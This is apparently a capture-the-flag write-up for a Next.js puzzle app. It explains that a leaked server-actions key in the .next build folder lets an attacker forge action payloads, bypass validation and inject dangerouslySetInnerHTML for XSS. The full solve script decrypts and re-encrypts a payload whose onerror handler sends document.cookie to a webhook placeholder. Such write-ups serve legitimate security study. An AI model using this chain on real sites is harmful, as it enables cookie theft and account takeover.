- provided dist contains
.next
build folder .next
build folder contains encryption key for server actions in.next/cache/.rscinfo
- this means that you can decrypt/re-encrypt the data when creating a connection, bypassing the Zod validation
- this gives you XSS in the
DifficultyIndicator
component via prop spreading:
export default function DifficultyIndicator({ puzzle, className = "" }: DifficultyIndicatorProps) {
const { groups } = puzzle
return (
<div
className={`rounded-lg border-2 border-purple-200 bg-white p-4 shadow-lg ${className}`}
>
<h3 className="mb-3 text-sm font-medium text-purple-700">Difficulty Levels</h3>
<div className="grid grid-cols-4 gap-3">
{groups.map((group, index) => {
const { category, words, color, ...props } = group
return (
<div key={index} className="flex items-center gap-2">
<div
className={`rounded-lg p-3 shadow-md transition-all duration-300 ${color} w-8 h-8`}
{...props}
/>
<span className="text-sm font-medium text-gray-700">
{["Easy", "Medium", "Hard", "Very Hard"][index]}
</span>
</div>
)
})}
</div>
</div>
)
}
- you can control
puzzle.props[0]
to add thedangerouslySetInnerHTML
property and get XSS
solve script:
// helper functions taken from next.js source code
function stringToUint8Array(binary) {
const len = binary.length
const arr = new Uint8Array(len)
for (let i = 0; i < len; i++) {
arr[i] = binary.charCodeAt(i)
}
return arr
}
function arrayBufferToString(
buffer
) {
const bytes = new Uint8Array(buffer)
const len = bytes.byteLength
if (len < 65535) {
return String.fromCharCode.apply(null, bytes)
}
let binary = ''
for (let i = 0; i < len; i++) {
binary += String.fromCharCode(bytes[i])
}
return binary
}
function decrypt(key, iv, data) {
return crypto.subtle.decrypt({
name: 'AES-GCM',
iv,
},
key,
data
)
}
function encrypt(key, iv, data) {
return crypto.subtle.encrypt({
name: 'AES-GCM',
iv,
},
key,
data
)
}
// encryption key from .next
const rawKey = "dS/7CWO2ykomRyc3BCWvWFg+gxAotwDWKBJLp+NtgfQ=";
const key = await crypto.subtle.importKey(
'raw',
stringToUint8Array(atob(rawKey)),
'AES-GCM',
true,
['encrypt', 'decrypt']
);
// example valid connections payload
const originalPayload = atob("TIge/KGCUf6ZSSluT6/lNI+XLaLrZNAaliEpaUup/ScUijvgCYzlbEIxs1KIo22v9TaKiMnBcuPIDPjE+bybaUJIRECfsm4CPRxlK+LG+/ddiZR3nK1VbyYuJjExdRC3zQ53+UdZ7rKJehayhZi2jstYej5qe/NJ3EoLp7w7Q0OYo018Q6oGeDiCCV/DwIwWFc4B3gPaeA0PhdAusSV8CMjWOpltaQCOFSvxAHLBI9QnoExle9C5tWusTWkl9ocQ8P+g7dYuCcQDOmY0GFfbof9f1hFYtKpCpWiZfgBpVEMqRGsoMua7i6PzCqXx618lSXXH/947C//QAPwGl6KHFR5jcKD3R55KaVVeQG5NxjzydKQjRqpGU5Eg64zvVAQ2Xgtd7K9AxbuRd4thnyO8m/WXejUclZcps2LIk+ZGPfvBRI6gplvvs18bDcijwb7lSWHMiy0Unb+G2XzMz9tgoDrZ8h9vC/VfCqsrfYVV9reLrCpMJbN66/i+fmqjuzfphSYFVmIIz9seA89as9BVExYA4Kcpjw==");
const ivValue = originalPayload.slice(0, 16);
const payload = originalPayload.slice(16);
const textDecoder = new TextDecoder();
const decrypted = textDecoder.decode(
await decrypt(key, stringToUint8Array(ivValue), stringToUint8Array(payload))
);
console.log("dec", decrypted);
const actionId = decrypted.slice(0, decrypted.indexOf(':'));
const action = decrypted.slice(decrypted.indexOf(':') + 1);
const pt = JSON.parse(action);
pt[0][0].dangerouslySetInnerHTML = {
__html: `<img src=x onerror="navigator.sendBeacon('https://WEBHOOK', document.cookie)">`
}
const explPayload = actionId + ':' + JSON.stringify(pt) + "\n";
console.log(explPayload);
const encrypted = await encrypt(
key,
stringToUint8Array(ivValue),
stringToUint8Array(explPayload)
);
console.log(btoa(ivValue + arrayBufferToString(encrypted)));